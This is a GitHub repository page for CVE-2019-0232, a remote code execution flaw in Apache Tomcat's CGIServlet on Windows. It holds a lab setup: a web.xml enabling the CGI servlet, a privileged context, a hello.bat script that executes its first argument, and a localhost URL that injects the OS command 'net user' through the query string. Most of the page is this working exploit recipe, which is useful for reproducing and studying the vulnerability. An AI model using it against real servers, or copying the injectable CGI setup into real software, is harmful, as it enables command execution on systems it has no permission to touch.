Skip to content

Apache Tomcat Remote Code Execution on Windows

Notifications You must be signed in to change notification settings

stjordanis/CVE-2019-0232

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

15 Commits
 
 
 
 

Repository files navigation

Testing Environment:

Tomcat 8.5.39
JDK 1.8

Modify Configuration

web.xml

<servlet>
        <servlet-name>cgi</servlet-name>
        <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
        <init-param>
          <param-name>debug</param-name>
          <param-value>0</param-value>
        </init-param>
        <init-param>
          <param-name>cgiPathPrefix</param-name>
          <param-value>WEB-INF/cgi-bin</param-value>
        </init-param>
        <init-param>
          <param-name>executable</param-name>
          <param-value></param-value>
        </init-param>
         <load-on-startup>5</load-on-startup>
</servlet> 

content.xml

<Context privileged="true">

    <!-- Default set of monitored resources. If one of these changes, the    -->
    <!-- web application will be reloaded.                                   -->
    <WatchedResource>WEB-INF/web.xml</WatchedResource>
    <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>

    <!-- Uncomment this to disable session persistence across Tomcat restarts -->
    <!--
    <Manager pathname="" />
    -->
</Context>

hello.bat

@echo off
echo Content-Type: text/plain
echo.
set foo=%~1
%foo%

Move WEB-INF to $CATALINA_HOME/webapps/ROOT and start TOMCAT server

Visit the URL and inject OS command

http://localhost:8080/cgi-bin/hello.bat?&net user

About

Apache Tomcat Remote Code Execution on Windows

Resources

Code of conduct

Security policy

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • Batchfile 100.0%